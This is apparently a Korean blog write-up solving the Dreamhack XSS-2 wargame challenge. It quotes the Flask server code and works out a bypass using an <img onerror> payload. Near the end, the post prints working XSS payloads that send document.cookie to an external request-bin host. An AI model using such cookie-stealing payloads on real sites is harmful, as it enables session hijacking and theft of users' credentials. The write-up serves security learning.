외로운 Nova의 작업실

dreamhack 웹해킹 - 4(XSS-2) 본문

Web Penetesting/Web Vulnerability

dreamhack 웹해킹 - 4(XSS-2)

Nova_ 2022. 11. 29. 17:38

안녕하세요. 이번시간에는 STAGE 4 혼자실습편 XSS-2 문제를 풀어보도록 하겠습니다. 정답은 가렸습니다.

 

- 서버측 코드

먼저 서버측 코드부터 봐보도록 하겠습니다.

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    return render_template("vuln.html")


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

 

<플래그 부분>

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

플래그는 서버측의 flag.txt 파일에 읽고 이를 가져와서 FLAG 변수에 저장하는 것을 볼 수 있습니다.

 

</ 데코레이터>

@app.route("/")
def index():
    return render_template("index.html")

/ 경로에 접속하게되면 서버는 index.html 파일을 반환해주는 것을 알 수 있습니다.

 

</vuln 데코레이터>

@app.route("/vuln")
def vuln():
    return render_template("vuln.html")

/vuln 경로에 접속하게되면 서버는 vuln.html을 반환해주는 것을 알 수 있습니다.

 

</flage 데코레이터>

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

클라이언트가 GET 메서드로 접속하게되면 flag.html을 서버가 반환해주는 것을 알 수 있습니다. 또한 클라이언트가 POST 메서드로 접속하게되면 porm에 있는 param의 내용을 가져와서 check_xss(param, {"name": "flag", "value": FLAG.strip()})를 실행시켜줍니다. FLAG.strip()은 FLAF의 양 옆의 공백을 지우고 반환해줍니다. check_xss 함수를 알아보겠습니다.

 

<check_xss 함수>

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

check_xss함수는 param을 아스키코드 형식이 아닌 글자를 URL 인코딩 시켜줍니다. 이후 url을 만들어 read_url의 매개변수로 url을 전달하고 cookie 값으로 {"name": "flag", "value": FLAG.strip()}을 전달하게됩니다. 즉 FLAF 값이 cookie 값으로 옮겨졌습니다. read_url을 봐보겠습니다.

 

<read_url>

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

위코드는 selenium을 사용해 다른 클라이언트가 접속하는 코드입니다.  driver.get("http://127.0.0.1:8000/") 문장은 클라이언트를 생성해서 http://127.0.0.1:8000 경로에 접속하게 해줍니다. 이후 클라이언트는 브라우저에 쿠키를 추가하고(driver.add_cookie(cookie)) 아까 매개변수로 받았던 경로로 접속합니다.(driver.get(url)) 그렇다면 이로써 FLAG는 클라이언트가 쿠키에 담아서 rul로 접속하는 것을 알 수 있습니다. 이를 이용해 xss 취약점을 통해 우리의 서버로 쿠키를 가지고 접속하게 해서 우리의 서버에서 쿠키의 값(FLAG)를 확인해볼 수 있습니다.

 

</memo 데코레이터>

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

/memo 경로로 접속하면 memo_tex를 memo.html에 담아 반환하는 것을 알 수 있습니다.

 

- 서버 접속 및 실습

<서버 접속>

< https://tools.dreamhack.games/ 에 접속 및 공격자 서버 생성>

<실습>

서버 접속을 해보게되면 위와같은 페이지가 뜨게됩니다. 이전에 함께실습에서 배웠던 것과 같은 코드이기에 함께실습에해서 했던 것 처럼 flag에 <script>location.href="https://vmaetok.request.dreamhack.games/?memo="+document.cookie;</script>를 넣어보겠습니다.

이렇게 되면 공격자 서버로 접속이 올것입니다. 하지만 아무리 기다려도 접속이 없는 것으로 확인됩니다.

저는 처음에 서버가 이상하다고 생각했습니다. 왜냐면 함께실습의 코드와 동일하였기때문에 동일하게 동작해야한다고 생각했기때문입니다.(한시간동안 서버가 이상해 하고있었습니다..ㅎㅎ) 하지만, 댓글을 보면 우회하라고 하는 댓글들을 볼 수 있습니다. 이후엔 아 flag.html에 xss 취약점을 막는 코드가 존재한다고 생각했습니다. 따라서 우회를 할 수 있는 방법을 찾기위해 /vuln 경로로 가보겠습니다.

vuln 페이지에서 신기하게 param으로 자바스크립트가 삽입되어있지만 실행이 되지 않는 것을 볼 수 있습니다. 이로써 진짜 xss 취약점을 막는 코드가 있는 것 같습니다. 먼저 필터링을 하는 코드가 있을 수 있기때문에 <script> 태그 말고 <img> 태그의 onerror 속성을 써서 alert()를 작성해보겠습니다. onerror 속성은 img가 로드되지않을시 실행되는 함수를 지정해줍니다.

<img src=x onerror = 'alert(1234)'>

잘 실행되는 것을 볼 수 있습니다. 아마 img 태그는 필터링을 안하는 것 같습니다. 혹시 모르니 임의의 쿠키를 만들고 document.cookie를 alert()해봅시다.

<img src=x onerror = 'alert(document.cookie)'>

잘 실행이 되는 것으로 확인됩니다. 그렇다면 실제 flag에 주는 코드를 짜보도록 하겠습니다.

<img src=x onerror = 'location.href= "https://vmaetok.request.dreamhack.games?memo="+document.cookie; ' >

이걸 flag에 넣어보도록 하겠습니다.

공격자 서버에 잘 접속이 된것을 확인할 수 있습니다. DH로 시작하는 문자열을 flag 에 넣어주면 해당 문제는 풀립니다.

Comments